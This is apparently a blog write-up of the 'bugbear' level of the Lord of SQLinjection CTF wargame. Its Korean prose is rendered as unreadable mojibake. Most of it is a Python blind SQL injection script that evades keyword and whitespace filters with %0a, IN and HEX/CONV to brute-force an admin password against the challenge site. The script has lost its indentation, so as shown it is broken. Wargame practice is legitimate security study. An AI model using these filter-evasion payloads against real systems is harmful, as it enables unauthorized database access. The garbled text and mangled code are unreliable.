์ด๋ฒ์๋ ๋ฌด๋ ค ๊ณต๋ฐฑ๊ณผ OR AND๋ฅผ ์ ์ธํ๊ณ , LIKE๋ ํํฐ๋ง์ด ๋๋ค.
๊ณต๋ฐฑ์ %0a๋ก ์นํํ๊ณ , LIKE๋ IN์ผ๋ก ๋์ฒดํ๋ฉด ๋๋ค.
๊ทธ๋ฆฌ๊ณ ์ธ์ ์ ์ ํ๋ ์ค ORD ํจ์๋ฅผ ์ฌ์ฉํ๋ ค๊ณ ํ์ OR ํค์๋๊ฐ ํฌํจ์ด ๋์ด์์ด์ ์ฌ์ฉ์ด ๋ถ๊ฐ๋ฅํ๋ค.
๊ทธ๋์ ํ๋ ์ ์์ด ORD๋ฅผ HEX๋ก ๋์ ์ฌ์ฉํ๊ณ ์ฌ๊ธฐ์ CONV ํจ์๋ฅผ ๋ํด์ 16์ง์๋ฅผ 10์ง์๋ก ๋ณ๊ฒฝํด ์ฃผ์๋ค. ๊ทธ๊ฒ๋ง ์์ ํ๋ฉด ์ด์ ์ ์๋ํ ์์ค๋ ๋น์ทํ๋ค.
import requests
parameter = None
cookie = {'PHPSESSID':'์์ ์ ์ฟ ํค ๊ฐ์ ์
๋ ฅ'}
result = None
solve = ""
for i in range(1, 8+1):
for ascii in range(48, 112+1):
print(ascii)
parameter = "?pw=NULL&&no=0||id in(\"admin\") %26%26 CONV(HEX(MID(pw,{},1)),16,10) IN ({})%23".format(i, ascii)
parameter = parameter.replace(" ", "%0a")
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php" + parameter
result = requests.get(url=url, cookies=cookie).text
if "Hello admin" in result:
print(i, ascii, chr(ascii))
solve += chr(ascii)
break
print( solve )
์ฐธ๊ณ :
https://stackoverflow.com/questions/15085858/convert-hex-column-to-dec-in-mysql
Convert HEX column to DEC in MySQL
I am writing an application which will do some formatting to CSV file and uploads the table to mysql after that the program should convert a (hex) column to decimal one The table looks like this: ...
stackoverflow.com
'๐ดCTF > Lord of SQLinjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Lord of SQLinjection - assassin (0) | 2021.12.08 |
---|---|
Lord of SQLinjection - giant (0) | 2021.12.08 |
Lord of SQLinjection - darkknight (0) | 2021.12.07 |
Lord of SQLinjection - skeleton (0) | 2021.12.07 |
Lord of SQLinjection - vampire (0) | 2021.12.07 |